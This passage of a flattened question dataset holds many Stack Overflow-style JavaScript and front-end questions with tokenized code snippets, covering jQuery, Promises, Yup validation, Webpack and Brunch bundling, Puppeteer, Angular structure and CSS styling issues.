width:232px ; height:97px ; margin-left : 60px ; '' > < /div > < /div > < div class= '' subpage-header '' > < div class= '' nav-section1 '' > < a class= '' link '' href= '' # section1 '' > < p style= '' padding-left:50px ; '' > COMPANY < br / > BACKGROUND < /p > < /a > < /div > < div class= '' nav-section2 '' > < a class= '' link '' href= '' # section2 '' > < p style= '' padding-left:50px ; '' > COMPANY < br / > VALUES < /p > < /a > < /div > < div class= '' nav-section3 '' > < a class= '' link '' href= '' # section3 '' > < p style= '' padding-left:50px ; '' > OUR < br / > SERVICES < /p > < /a > < /div > < /div > < div style= '' margin:0 auto ; '' > < div style= '' background-image : url ( image/scrollbottomNew.png ) ; background-repeat : no-repeat ; width:232px ; height:97px ; margin-left : 60px ; '' > < /div > < /div > < /div >",Stop fixed background image from scrolling at a certain height "JS : So imagine that you have an associative array in JavaScript as such : What happens when you retrieve a value like this : Is the performance similar to that of a hashtable from another language ? I mean , is there an actual hash function that is used to determine the location of the property or is there a looped search such as : Does the implementation vary from browser to browser ? I could n't find anything related to this specific topic . Thanks . var hashTable = { } ; hashTable [ `` red '' ] = `` ff0000 '' ; hashTable [ `` green '' ] = `` 00ff00 '' ; hashTable [ `` blue '' ] = `` 0000ff '' ; var blue = hashTable [ `` blue '' ] ; for ( var color in hashTable ) { if ( hashTable.hasOwnProperty ( color ) ) { //look for matching key } }",Do associative arrays perform like a hash table ? JS : I have multiple elements in the dom with a class of .blockbadge if the value of any .block-badge is 0 then I want to add a class to that element in order to style it differently.My JS adds the class to all of these elements if anyone of them equal 0 . How do I make it only affect those elements which equal zero ? HTMLJS < span class= '' block-badge '' > 1 < /span > < span class= '' block-badge '' > 0 < /span > // this element should have the class 'zero ' added < span class= '' block-badge '' > 4 < /span > var blockBadgeVal = $ ( '.block-badge ' ) .val ( ) ; if ( blockBadgeVal < 0 ) { $ ( '.block-badge ' ) .addClass ( 'zero ' ) ; },jQuery : Target all elements with val less than 1 "JS : I have some SVG paths inside a div with an onclick attribute : The open ( ) function is defined in a seperate JS file , which is implemented just before the body tag ( like the jQuery file as well ) : div # info1 , for example , is an information box inside div # information , a full screen semi-transparent black background ( gives it a lightbox-like effect ) .Everything works well using Safari . However , if I try it with FF or Chrome , the browser seems to load a new page when I click ( which should n't happen ) and it results in a blank screen with no source code.Page can be seen here : frank.schufi.ch/3dmapping < path class= '' limbs '' id= '' limb1 '' d= '' some coordinates here '' onclick= '' open ( 1 ) '' / > function open ( n ) { $ ( `` # information '' ) .fadeIn ( ) ; $ ( `` # info '' + n ) .fadeIn ( ) ; }",`` onclick '' event not working in FF and Chrome "JS : I 've developed a client library that exposes a method called iterator ( ) . This method returns a Promise instance created using require ( 'promise ' ) library , which is completed with an iterator object.This object contains a method called next ( ) which returns a Promise which is completed with a complex object like this : { done : [ true|false ] , key : _ , value : _ } Although iterator ( ) might pre-fetch some elements , next ( ) needs to return a Promise in case it results in a remote call.Now , say a user wants to iterate over all elements until the Promise returned by next ( ) returns an object containing done : true.I 've managed to achieve this using the following recursive method ( I originally found this solution in this answer ) : The question is , would it be possible , using require ( 'promise ' ) library , to build a non-recursive solution ? The reason I 'm interested in a non-recursive method is to avoid blowing up if the number of entries to iterate over is too big.Cheers , Galder var iterate = client.iterator ( ) ; iterateTeams.then ( function ( it ) { function loop ( promise , fn ) { // Simple recursive loop over iterator 's next ( ) call return promise.then ( fn ) .then ( function ( entry ) { return ! entry.done ? loop ( it.next ( ) , fn ) : entry ; } ) ; } return loop ( it.next ( ) , function ( entry ) { console.log ( 'entry is : ' + entry ) ; return entry ; } ) ; } ) ;",Non-recursive method to iterate over Promise iterator "JS : I am using Formik with Yup for validation and TypeScriptI have a field that needs to validate based on the value of another field.The first field is called price and the second field is called tips . The max tip value is 10 % of the what ever the price entered is.I tried to create validation for this using the following : however this does n't compile because yup.ref returns a Ref . How can I get the value of the price field in this validation ? tips : yup.number ( ) .min ( 0 , ` Minimum tip is $ 0 ` ) .max ( parseFloat ( yup.ref ( 'price ' ) ) * 0.1 , `` Maximum tip is 10 % of the price . `` ) ;",Get the value of another field for validation in Yup Schema "JS : I am working on a small JavaScript template engine , and I have two possible approaches for dealing with updates to the DOM when the model changes : Check if the DOM update is really needed before doing it . This has the benefit of not risking unnecessary updates , but I am wasting space on keeping track of old values.Just do it . This is obviously simpler , but I am afraid that I will be triggering repaints and reflows for no reason.Note that I am also manipulating the DOM by calling setAttribute , addClass and removeClass , plus setting style [ prop ] = value.So , my question is : Are modern browsers smart enough to notice that nothing actually changed , and therefore not run reflow or repaint , if you touch the DOM without actually changing anything ? if ( oldValue ! == newValue ) { element.textContent = newValue ; } element.textContent = newValue ;",Does touching the DOM trigger a reflow and repaint even if nothing changes ? "JS : The famous Best Practice Recommendations for Angular App Structure blog post outlines the new recommended angularjs project structure which is now component-oriented , not functionally-oriented , or as named in the initial github issue - `` Organized by Feature '' .The blogpost suggests that each file inside each module should start with the module name , e.g . : The question is : what is the point , pros and cons of repeating the module name inside each filename in the module as opposed to having the files named functionally ? For example : The reason I ask is that I 'm coming from a Django world where there is a somewhat similar idea of having projects and apps . Each app usually has it 's own models.py , views.py , urls.py , tests.py . There is no repeating app name inside the script names.I hope I 'm not crossing an opinion-based line and there is a legitimate reason for following the approach . userlogin/ userlogin.js userlogin.css userlogin.html userlogin-directive.js userlogin-directive_test.js userlogin-service.js userlogin-service_test.js userlogin/ userlogin.js userlogin.css userlogin.html controllers.js directives.js services.js",Repeating module name for each module component "JS : As an exampleIs it possible to break this runInfinite function form running infinite ? I mean is it possible to kill this function from another function without using a flag or return statement ? var runInfinite = function ( ) { while ( 1 ) { // Do stuff ; } } ; setTimeout ( runInfinite , 0 ) ;",Killing a JavaScript function which runs infinite "JS : I am facing weird issue while working with httpinterceptor in angular 5 . I am not able to get the error response and error status code in Chrome and but able to get in IE below is my HttpInterceptor code.In the above Error block the message and status code I am able to see in IE but not in Chrome . Kindly help me how to resolve this . Edit : I am consuming data from different origin and cors is enabled in web services import { Injectable } from ' @ angular/core ' ; import { HttpInterceptor , HttpRequest , HttpHandler , HttpResponse } from ' @ angular/common/http ' ; import { finalize , tap } from 'rxjs/operators ' ; @ Injectable ( ) export class LoggingInterceptor implements HttpInterceptor { intercept ( req : HttpRequest < any > , next : HttpHandler ) { const startTime = Date.now ( ) ; let status : string ; return next.handle ( req ) .pipe ( tap ( event = > { status = `` ; if ( event instanceof HttpResponse ) { status = 'succeeded ' ; } } , error = > { if ( error instanceof HttpErrorResponse ) { console.log ( error.error.message ) // Above message is printing in IE but no in chorme . } } ) , finalize ( ( ) = > { } ) ) ; } }",Http interceptor Error Response in complete in chrome "JS : I understand that let has block scope and var has functional scope . But I do not understand in this case , how using let will solve the problem const arr = [ 1,2,3,4 ] ; for ( var i = 0 ; i < arr.length ; i++ ) { setTimeout ( function ( ) { console.log ( arr [ i ] ) } , 1000 ) ; } // Prints undefined 5 timesconst arr = [ 1,2,3,4 ] ; for ( let i = 0 ; i < arr.length ; i++ ) { setTimeout ( function ( ) { console.log ( arr [ i ] ) } , 1000 ) ; } // Prints all the values correctly",let vs var in javascript "JS : I am working on a project to obtain pricing information from a hotel website , but I can not perform any searches when loading the website in puppeteer . Here is a snippet of my JavaScript that opens Chrome.How are they detecting that I 'm using Chrome controlled by Puppeteer , even though it is running a headful browser ? Thanks const puppeteer = require ( 'puppeteer ' ) ; ( async ( ) = > { const browser = await puppeteer.launch ( { headless : false , devTools : false } ) ; const page = await browser.newPage ( ) ; await page.setUserAgent ( 'Mozilla/5.0 ( Macintosh ; Intel Mac OS X 10_14_2 ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/74.0.3683.103 Safari/537.36 ' ) ; await page.goto ( 'https : //www.hyatt.com/ ' ) ; } ) ( ) ;",Puppeteer loads blank page with 429 when accessing URL JS : Is there any way to have a show more option/link in jsTree ? I want to show only part of the children and have a link to expand to show all elements.I tried a few google searches but could not find a solution . Any help/hint would be useful.Let 's say parent-1 has 10 child nodes and the Main Root has 5 parent nodes.I 'm trying to achieve the following resultIs this possible ? Are there any available plugins for this ? Are there any alternatives for jsTree that support this ? Main Parent - Parent - 1 - child-1 - child-2 - child-3 show 7 more parent-1 elements //LINK - Parent - 2 - child-1 - child-2 - Parent - 3 - child-1 - child-2 show 2 more Main Parent elements //LINK,JsTree : Show more options "JS : Writing a webapp that uses async/await but got stuck where the line var r1 = await fetch ( url ) .then ( ( r ) = > r.text ( ) ) appears to be handing forever . My web server listening on port 80 did n't even receive the request.Any ideas ? Thanks in advance ! Update1Thanks to suggestion by @ deryck , add try and catch around the line of fetch call , got the following error instead const fetch = require ( 'fetch-node ' ) const express = require ( 'express ' ) ; const app = express ( ) ; var savedResolve ; app.listen ( 8079 , '127.0.0.1 ' , function ( ) { console.log ( 'listening on 8079 ' ) } ) app.get ( '/* ' , async function ( req , res ) { console.log ( req.path ) res.setHeader ( 'Content-Type ' , 'text/html ' ) ; await task ( ) res.send ( 'Done ' ) } ) async function task ( ) { console.log ( `` starting.. '' ) var url = `` http : //localhost/prod/te.php '' ; var r1 = await fetch ( url ) .then ( ( r ) = > r.text ( ) ) console.log ( r1 ) return `` done '' } TypeError : Can not read property 'render ' of undefined at module.exports ( /Users/jsmith/learn/node/node_modules/hooks-node/hooks-node.js:8:11 ) at module.exports ( /Users/jsmith/learn/node/node_modules/fetch-node/fetch-node.js:17:1 ) at task ( /Users/jsmith/learn/node/te4b.js:22:18 ) at /Users/jsmith/learn/node/te4b.js:13:8 at Layer.handle [ as handle_request ] ( /Users/jsmith/learn/node/node_modules/express/lib/router/layer.js:95:5 ) at next ( /Users/jsmith/learn/node/node_modules/express/lib/router/route.js:137:13 ) at Route.dispatch ( /Users/jsmith/learn/node/node_modules/express/lib/router/route.js:112:3 ) at Layer.handle [ as handle_request ] ( /Users/jsmith/learn/node/node_modules/express/lib/router/layer.js:95:5 ) at /Users/jsmith/learn/node/node_modules/express/lib/router/index.js:281:22 at param ( /Users/jsmith/learn/node/node_modules/express/lib/router/index.js:354:14 )",async/await stuck forever "JS : In Webpack 1.x I used to do the following on regular basis : With this technique , we were able to transfer a webpack-bundle over the wire , but evaluate the actual contents ( the JavaScript code ) from that bundle at some later point in time . Also , using require.ensure we could name the bundle , in this case myModule2 , so we could see the name / alias when bundling happened executing webpack.In Webpack 2.x , the new way to go is using System.import . While I love receiving a Promise object now , I have two issues with that style . The equivalent of the above code would look like : How can we split the transfer and the evaluation now ? How can we still name the bundle ? The Webpack documentation on Github says the following : Full dynamic requires now fail by default A dependency with only an expression ( i. e. require ( expr ) ) will now create an empty context instead of an context of the complete directory . Best refactor this code as it wo n't work with ES6 Modules . If this is not possible you can use the ContextReplacementPlugin to hint the compiler to the correct resolving.I 'm not sure if that plays a role in this case . They also talk about code splitting in there , but it 's pretty briefly and they do n't mention any of the `` issues '' or how to workaround . require.ensure ( [ './mod2.js ' ] , ( require ) = > { setTimeout ( ( ) = > { // some later point in time , most likely through any kind of event var data = require ( './mod2.js ' ) ; // actual evaluating the code } ,1100 ) ; } , 'myModule2 ' ) ; System.import ( './mod2.js ' ) .then ( MOD2 = > { // bundle was transferred AND evaluated at this point } ) ;",Migrating from Webpack 1.x to 2.x JS : I am working on creating my own chat application in which I used content-editable div as chatbox.I am implementing mention feature where my mention is username wrapped in a span tag followed by a space ( & nbsp ; ) but my problem is when I remove space my cursor moves to the end of the div.with space without spaceThis is how I implemented in code and also this bug happens only in chrome . < html > < head > < /head > < body > < div contenteditable=true > < span contenteditable='false ' > UserName < /span > & nbsp ; < /div > < /body > < /html > < html > < head > < /head > < body > < div contenteditable=true > < span contenteditable='false ' > UserName < /span > < /div > < /body > < /html >,Cursor moves to end of the contenteditable div when character removed from div "JS : I have a polymer highcharts element that works : I pass it some nice data via the '2014 Mayor.json ' file : And I get a chart . But what I really want to do is iterate over an array of chart data to produce multiple charts . I 've tried very hard to figure out how template repeat works , but I 'm new to both Polymer and javascript , and have n't been able to crack it . Let 's say my data file , 'arrayofdata.json ' has the following in it : How do I iterate over that to produce multiple charts using template repeat ? < script src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js '' > < /script > < script src= '' http : //code.highcharts.com/highcharts.js '' > < /script > < script src= '' bower_components/platform/platform.js '' > < /script > < link rel= '' import '' href= '' bower_components/polymer/polymer.html '' > < polymer-element name= '' bar-chart '' attributes= '' source '' > < template > < div id= '' container '' style= '' max-width : 600px ; height : 360px ; '' > < /div > < /template > < script > Polymer ( `` bar-chart '' , { ready : function ( ) { var options = { chart : { type : 'bar ' , renderTo : this. $ .container } , title : { text : `` } , subtitle : { text : `` } , xAxis : { categories : [ ] } , yAxis : { title : { text : `` } } , plotOptions : { bar : { dataLabels : { enabled : true } } } , legend : { enabled : false } , credits : { enabled : false } , series : [ { } ] } ; $ .getJSON ( this.source ) .done ( function ( chartjson ) { options.xAxis.categories = chartjson.categories ; options.series [ 0 ] .data = chartjson.series ; options.title.text = chartjson.title ; options.subtitle.text = chartjson.subtitle ; options.yAxis.title.text = chartjson.yAxistitle ; var chart = new Highcharts.Chart ( options ) ; } ) ; } } ) ; < /script > < /polymer-element > < bar-chart source= '' json/grass-roots/2014 Mayor.json '' > < /bar-chart > { `` categories '' : [ `` Muriel E Bowser '' , `` Tommy Wells '' , `` Jack Evans '' , `` Vincent C Gray '' , `` David Catania '' , `` Andy Shallal '' , `` Reta Jo Lewis '' , `` Carol Schwartz '' , `` Vincent Orange '' , `` Christian Carter '' , `` Nestor DJonkam '' , `` Bruce Majors '' , `` Michael L Green '' ] , `` series '' : [ 2505 , 1654 , 1332 , 956 , 699 , 399 , 183 , 81 , 72 , 3 , 3 , 2 , 1 ] , `` title '' : `` Mayor ( 2014 ) '' , `` subtitle '' : `` Grassroots Contributors '' , `` yAxistitle '' : `` Number of DC Residents Contributing to Candidate '' } [ { `` categories '' : [ `` Phil Mendelson '' , `` Kris Hammond '' , `` John C Cheeks '' ] , `` series '' : [ 172 , 44 , 4 ] , `` title '' : `` Council Chairman ( 2014 ) '' , `` subtitle '' : `` Grassroots Contributors '' , `` yAxistitle '' : `` Number of DC Residents Contributing to Candidate '' } , { `` categories '' : [ `` Muriel E Bowser '' , `` Tommy Wells '' , `` Jack Evans '' , `` Vincent C Gray '' , `` David Catania '' , `` Andy Shallal '' , `` Reta Jo Lewis '' , `` Carol Schwartz '' , `` Vincent Orange '' , `` Christian Carter '' , `` Nestor DJonkam '' , `` Bruce Majors '' , `` Michael L Green '' ] , `` series '' : [ 2505 , 1654 , 1332 , 956 , 699 , 399 , 183 , 81 , 72 , 3 , 3 , 2 , 1 ] , `` title '' : `` Mayor ( 2014 ) '' , `` subtitle '' : `` Grassroots Contributors '' , `` yAxistitle '' : `` Number of DC Residents Contributing to Candidate '' } ]",Polymer Template Repeat Over Multiple Charts JS : I have a list like this : i have a text box and i need to add the text box values into this list . For time being i need it like whenever the page reloads everything entered is reset . Later on i will connect to db.How to add the value entered in text box to this list on button click ? demo < p > Please select : < /p > < script type= '' text/javascript '' > < /script > < select id='pre-selected-options1 ' multiple='multiple ' > < option value='elem_1 ' selected > 1 < /option > < option value='elem_2 ' > 2 < /option > < option value='elem_3 ' > nextoption < /option > < option value='elem_4 ' selected > option 1 < /option > < option value='elem_100 ' > option 2 < /option > < /select > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.min.js '' > < /script > < script src= '' js/jquery.multi-select.js '' > < /script > < script type= '' text/javascript '' > $ ( ' # pre-selected-options1 ' ) .multiSelect ( ) ; < /script > < /div > < label > Enter : < /label > < input type= '' text '' name= '' '' class= '' input-default '' > < button type= '' button '' class= '' btn btn-success btn-sm m-b-10 m-l-5 '' > Add < /button >,How to add textbox value into a list ? "JS : Let 's take the following example : As you can see , I have a Mock component ( MockListViewerGridComponent ) and service ( ListConfigurationsService ) , a configuration variable ( listDefinition ) and the fixture and component that I want to test.My question is about performance and test memory management : The variables instantiated inside of describe method will be destroy as soon as the all tests inside of describe finishes ? Should I declare all variables and mock classes/services inside of describe ? Should I create a fixture in beforeEach or beforeAll ? By doing that , I will have performance improvement ? Thank you ! const listDefinition : any = { module : `` module '' , service : `` service '' , listname : `` listname '' } ; @ Component ( ... ) class MockTreeExpanderComponent extends TreeExpanderComponent { ... } class MockListConfigurationsService extends ListConfigurationsService { ... } describe ( 'ColumnsListConfigurationsComponent Test cases ' , ( ) = > { let fixture : ComponentFixture < ColumnsListConfigurationsComponent > ; let component : ColumnsListConfigurationsComponent ; beforeEach ( ( ) = > { TestBed.configureTestingModule ( { declarations : [ ComponentToTest , MockTreeExpanderComponent ] , providers : [ { provide : TreeListConfigurationService , useClass : MockTreeListConfigurationService } ] } ) ; fixture = TestBed.createComponent ( ComponentToTest ) ; component = fixture.componentInstance ; component.listDefinition = listDefinition ; fixture.detectChanges ( ) ; } ) ; } ) ;",Karma + Jasmine ( Angular Testing ) : Where should I define mock classes and test variables ? "JS : I have made two bundles of javascript from our project- vendor and app . I do this in the manner suggested by the documentation , as seen in this snippet from my brunch-config.js : And I end up with a vendor.js and an app.js . But check out the file sizes : Note how app.js is larger than vendor.js ! This large size makes watching slower than it needs to be . Upon inspecting the contents of app.js , it seemed to contain lodash , React , and other libraries , which I expected it to get from vendor.js . And vendor.js seems to contain the same libraries , which I do expect.My question : Why are the libraries present in app.js ? Why does app.js not reference them from vendor.js ? It is possible I missing some piece of configuration . Here is my full brunch-config.js for your examination : and in HTML I require these files like this : I tried setting the order object , but to no avail : Here 's my package.json : Another thought , could this have to do with using require instead of import ? If there 's any other information I can provide that would be helpful please let me know . Thanks for your help.UPDATEHere 's my folder structure , simplified : Here 's the output structure produced by brunch build : Debug it for yourself ! MVCE available . Follow these instructions : Clone this example repositorynpm installbrunch build ( make sure it is installed globally with npm install brunch -g ) Compare the sizes of app.js and vendor.js in public/js . They should be 744 KB and 737 KB respectively . Examine the contents of app.js and note the library stuff . How is my files.javascripts.joinTo [ 'js/app.js ' ] including this with regex /^source\// ? files : { javascripts : { joinTo : { 'js/vendor.js ' : /^ ( ? ! source\/ ) / , 'js/app.js ' : /^source\// } , entryPoints : { 'source/scripts/app.jsx ' : 'js/app.js ' } } } module.exports = { files : { javascripts : { joinTo : { 'js/vendor.js ' : /^ ( ? ! source\/ ) / , 'js/app.js ' : /^source\// } , entryPoints : { 'source/scripts/app.jsx ' : 'js/app.js ' } } , stylesheets : { joinTo : 'css/core.css ' } , } , paths : { watched : [ 'source ' ] } , modules : { autoRequire : { 'js/app.js ' : [ 'source/scripts/app ' ] } } , plugins : { babel : { presets : [ 'latest ' , 'react ' ] } , assetsmanager : { copyTo : { 'assets ' : [ 'source/resources/* ' ] } } , static : { processors : [ require ( 'html-brunch-static ' ) ( { processors : [ require ( 'pug-brunch-static ' ) ( { fileMatch : 'source/views/home.pug ' , fileTransform : ( filename ) = > { filename = filename.replace ( /\.pug $ / , '.html ' ) ; filename = filename.replace ( 'views/ ' , `` ) ; return filename ; } } ) ] } ) ] } } , server : { run : true , port : 9005 } } ; < script type= '' text/javascript '' src= '' js/vendor.js '' defer > < /script > < script type= '' text/javascript '' src= '' js/app.js '' defer > < /script > files : javascripts : { joinTo : { 'js/vendor.js ' : /^ ( ? ! source\/ ) / , 'js/app.js ' : /^source\// } , entryPoints : { 'source/scripts/app.jsx ' : 'js/app.js ' } , order : { before : /^ ( ? ! source ) / , after : /^source\// } } } { `` version '' : `` 0.0.1 '' , `` devDependencies '' : { `` assetsmanager-brunch '' : `` ^1.8.1 '' , `` babel-brunch '' : `` ^6.1.1 '' , `` babel-plugin-add-module-exports '' : `` ^0.2.1 '' , `` babel-plugin-rewire '' : `` ^1.0.0-rc-5 '' , `` babel-plugin-transform-es2015-modules-commonjs '' : `` ^6.10.3 '' , `` babel-plugin-transform-object-rest-spread '' : `` ^6.8.0 '' , `` babel-preset-react '' : `` ^6.3.13 '' , `` babel-register '' : `` ^6.11.6 '' , `` browser-sync-brunch '' : `` ^0.0.9 '' , `` brunch '' : `` ^2.10.9 '' , `` brunch-static '' : `` ^1.2.1 '' , `` chai '' : `` ^3.5.0 '' , `` es6-promise '' : `` ^3.2.1 '' , `` eslint-plugin-react '' : `` ^5.1.1 '' , `` expect '' : `` ^1.20.2 '' , `` html-brunch-static '' : `` ^1.3.2 '' , `` jquery '' : `` ~2.1.4 '' , `` jquery-mousewheel '' : `` ^3.1.13 '' , `` mocha '' : `` ^3.0.0 '' , `` nib '' : `` ^1.1.0 '' , `` nock '' : `` ^8.0.0 '' , `` oboe '' : `` ~2.1.2 '' , `` paper '' : `` 0.9.25 '' , `` path '' : `` ^0.12.7 '' , `` pug '' : `` ^2.0.0-beta10 '' , `` pug-brunch-static '' : `` ^2.0.1 '' , `` react '' : `` ^15.2.1 '' , `` react-dom '' : `` ^15.2.1 '' , `` react-redux '' : `` ^4.4.5 '' , `` redux '' : `` ^3.5.2 '' , `` redux-logger '' : `` ^2.6.1 '' , `` redux-mock-store '' : `` ^1.1.2 '' , `` redux-promise '' : `` ^0.5.3 '' , `` redux-thunk '' : `` ^2.1.0 '' , `` reselect '' : `` ^2.5.3 '' , `` spectrum-colorpicker '' : `` ~1.8.0 '' , `` stylus-brunch '' : `` ^2.10.0 '' , `` uglify-js-brunch '' : `` ^2.10.0 '' , `` unibabel '' : `` ~2.1.0 '' , `` when '' : `` ~3.4.5 '' } , `` dependencies '' : { `` jwt-decode '' : `` ^2.1.0 '' , `` lodash '' : `` ^4.17.4 '' , `` postal '' : `` ^2.0.5 '' , `` rc-tree '' : `` ^1.3.9 '' } , `` scripts '' : { `` test '' : `` mocha -- compilers js : babel-register '' } } node_modulessource| -- -resources| -- -scripts| -- -styles| -- -views assetscss| -- -core.cssjs| -- -app.js| -- -app.js.map| -- -vendor.js| -- -vendor.js.maphome.html",Brunch : separating vendor and app javascript JS : Chrome Browser auto-fill removed effect of background-color and background-image from Username and Password input fields.Before autocomplete After autocompleteBut Chrome Browser autocomplete hide my icons from inputs and also changed my background-color . So i need my icons stay on inputs as it is.It is possible to stop Chrome Browser from change background color of fields and hide images ? .form-section .form-control { border-radius : 4px ; background-color : # f7f8fa ; border : none ; padding-left : 62px ; height : 51px ; font-size : 16px ; background-repeat : no-repeat ; background-position : left 17px center ; } .form-section .form-control : focus { -webkit-box-shadow : none ; box-shadow : none ; } .form-section .form-group { margin-bottom : 21px ; } .form-section .form-control [ type= '' email '' ] { background-image : url ( 'https : //i.stack.imgur.com/xhx3w.png ' ) ; } .form-section .form-control [ type= '' password '' ] { background-image : url ( 'https : //i.stack.imgur.com/910l0.png ' ) ; } .form-btn { padding:10px ; background-color : # 65a3fe ; border : none ; color : # ffffff ; font-size : 18px ; font-weight : 700 ; } < div class= '' form-section '' > < form > < div class= '' form-group '' > < input title= '' Email '' type= '' email '' class= '' form-control '' name= '' email '' placeholder= '' Your email address '' value= '' '' > < /div > < div class= '' form-group '' > < input title= '' Password '' type= '' password '' class= '' form-control '' name= '' password '' placeholder= '' Your Password '' > < /div > < button type= '' submit '' class= '' btn btn-primary form-btn '' > Log in < /button > < /form > < /div >,How to avoid Chrome hide background image and color over an autofill input "JS : I have a simple table with font-awesome icons in their cells . I made the table columns resizable by using plain javascript . The cells content is hidden if overflown and an ellipsis ( `` ... '' ) is shown : The Problem : When resizing the columns so that the content is hidden and then making it bigger again , all icons but the first are gone.Expected behaviour : Icons should reappear when making the column bigger again.Please run the snippet below to see it in action.Any help highly appreciated ! Thanks . td , th { white-space : nowrap ; overflow : hidden ; text-overflow : ellipsis ; } ( function makeTableHeaderResizable ( ) { // clear resizers Array.prototype.forEach.call ( document.querySelectorAll ( '.table-resize-handle ' ) , function ( elem ) { elem.parentNode.removeChild ( elem ) ; } ) ; // create resizers var thElm ; var startOffset ; Array.prototype.forEach.call ( document.querySelectorAll ( 'table th ' ) , function ( th ) { th.style.position = 'relative ' ; var grip = document.createElement ( 'div ' ) ; grip.innerHTML = ' & nbsp ; ' ; grip.style.top = 0 ; grip.style.right = 0 ; grip.style.bottom = 0 ; grip.style.width = '5px ' ; grip.style.position = 'absolute ' ; grip.style.cursor = 'col-resize ' ; grip.className = 'table-resize-handle ' ; grip.addEventListener ( 'mousedown ' , function ( e ) { thElm = th ; startOffset = th.offsetWidth - e.pageX ; } ) ; th.appendChild ( grip ) ; } ) ; document.addEventListener ( 'mousemove ' , function ( e ) { if ( thElm ) { thElm.style.width = startOffset + e.pageX + 'px ' ; } } ) ; document.addEventListener ( 'mouseup ' , function ( ) { thElm = undefined ; } ) ; } ) ( ) ; /* text-overflow : ellipsis is likely causing the issue here */td , th { white-space : nowrap ; overflow : hidden ; text-overflow : ellipsis ; } table { table-layout : fixed ; border-top : 1px solid black ; width : 100 % ; } /* styling */th { border-right : 1px dotted red ; } th { height : 50px ; } td { border : 1px solid black ; } tr { border-left : 1px solid black ; } < link href= '' https : //maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css '' rel= '' stylesheet '' / > < h5 > Drag the right border of the th elements and make the cells smaller . All fa-icons but the first have disappeared when you make the cells wider again. < /h5 > < table > < thead > < tr > < th > Column < /th > < th > Column < /th > < th > Column < /th > < /tr > < /thead > < tbody > < tr > < td > text works normally < /td > < td > < i class= '' fa fa-cog '' > < /i > < i class= '' fa fa-edit '' > < /i > < i class= '' fa fa-trash '' > < /i > < i class= '' fa fa-check '' > < /i > < /td > < td > < i class= '' fa fa-cog '' > < /i > < i class= '' fa fa-edit '' > < /i > < i class= '' fa fa-trash '' > < /i > < i class= '' fa fa-check '' > < /i > < /td > < /tr > < /tbody > < /table >",text-overflow : ellipsis removes font-awesome icons "JS : When coding new javascript heavy websites , which order or web browser do you code for ? I can see these possible orders , but I am not sure which I like best : Code for one first and get it working well , then start testing with other and fix errors as I go.This will allow for the most rapid development ( with Firefox at least ) but I 've learned from experience that debugging IE with so much going on at once can be a pain ! Code for both at the same time . In other words , for each new feature , ensure it works with both browsers before moving on.This seems like it will actually take more time , so maybe do several features in Firefox then move to IE to patch them up.What do you all do ? Edit 1 : To respond to a couple of answers here . : @ JQuery usage : For some reason I was not expecting this kind of a response , however , now that this seems to be the overwhelming accepted answer , I guess I should tell everyone a few more things about the specifics of my app . This is actually the DynWeb that I started another question for , and as I 'm developing , a lot of the important code seems to require that I use document.whatever ( ) instead of any JQuery or Prototype functions that I could find . Specifically , when dynamically importing changing CSS , I have to use some similar to : And I expect that I will have to continue to use this kind of raw coding currently unsupported by either JQuery or Prototype in the future . So while I would normally accept JQuery as an answer , I can not as it is not a solution for this particular webapp . @ Wedge and bigmattyh : As the webapp is supposed to build other webapps , part of the criteria is that anything it builds look and work functionally the same in whatever browsers I support ( right now I 'm thinking Firefox and IE7/8 atm , maybe more later on ) . So as this is a more interesting ( and much more complicated ) problem ; are there any sites , references , or insights you may have for specific trouble areas ( css entities , specific javascript pitfalls and differences , etc . ) and how to avoid them ? I 'm almost certain that I am going to have to have some sort of isIE variable and simply perform different actions based on that , but I would like to avoid it as much as possible.Thanks for your input so far ! I will keep this open for the rest of the day to see what others may have to say , and will accept an answer sometime tonight . var cssid = document.all ? 'rules ' : 'cssRules ' ; //found this to take care of IE and Firefoxdocument.styleSheets [ sheetIndex ] [ cssid ] [ cssRule ] .style [ element ] = value ;","Design order : Firefox , IE , or both ?" JS : Few android browsers including Samsung default browsers on older devices will not support Event . So we can not show realtime upload progress on that browsers . How can I detect those browsers ? So I can change my setup to show progress . xhr.upload.onprogress,How to detect a browser that will not support XHR2 Upload progress "JS : I would like to draw a bell curve , that looks like the image below , with svg . So essentially I should be able to pass 3 parameters : x1 , x2 , and height and it should draw a dashed bell curve . What is the best way to achieve this ? Here is what I have for drawing a regular bezier curve . Basically I need to figure out how to convert it to a bell curve : function getDimension ( x1 , x2 , height ) { return `` M '' + x1 + `` , '' + height + `` C '' + x1 + `` ,0 `` + x2 + `` ,0 `` + x2 + `` , '' + height ; } var curve = document.createElementNS ( `` http : //www.w3.org/2000/svg '' , `` path '' ) ; curve.setAttribute ( `` d '' , getDimension ( 0 , 100 , 50 ) ) ; curve.setAttribute ( `` x '' , ' 0 ' ) ; curve.setAttribute ( `` fill '' , 'none ' ) ; curve.setAttribute ( `` stroke '' , 'black ' ) ; curve.setAttribute ( `` stroke-dasharray '' , ' 5 ' ) ; document.getElementById ( 'svg ' ) .appendChild ( curve ) ;",svg draw dashed bell curve between 2 points "JS : I found the following snippet in the jQuery source code , in the definition of the eq function : I was surprised by the +i . Rather , I would have expected : What 's the difference ? What the utility of that leading + ? j = +i + ( i < 0 ? len : 0 ) j = i + ( i < 0 ? len : 0 )",Why the leading ` + ` in ` j = +i + ( i < 0 ? len : 0 ) ` ( taken from jQuery source code ) "JS : I 'm currently analyzing the Javascript language a bit . It looks like you could group at lot of the concepts into a base type called expression . Even function arguments and definitions fit into that group , as well as strings , numbers and mathematical expressions.The only illogical exception was the curly bracket object notation in a nonsense alike context.As functions consist of several expressions the following code is valid : By intention the following code should be valid too , but gets a `` missing ; before statement '' syntax error for the second line : The curly bracket object notation is accepted in every other case where expressions are accepted , except for these cases where a curly bracket code block would be allowed too.Is the syntax error mentioned above caused by the implementation or the specification of javascript ? Is there a more precise name for such nonsense expression ? function valid ( ) { /\W/ ; `` ahll '' ; var alpha ; alpha ; alpha= { `` first '' : 90 , `` second '' : 80 } ; alpha ; 0 , { `` first '' : 90 , `` second '' : 80 } ; [ 1,2,3 ] ; alpha ; 2+3 ; new RegExp ( `` /\W/ '' ) ; return true ; } function invalid ( ) { { `` first '' : 90 , `` second '' : 80 } ; return true ; }",Is the curly brackets object notation valid in any expression ? "JS : I am using console.log ( ) and console.dir ( ) statements in 3 places in my 780 lines of code JS script . But all of them are useful for debugging and discovering problems that might appear 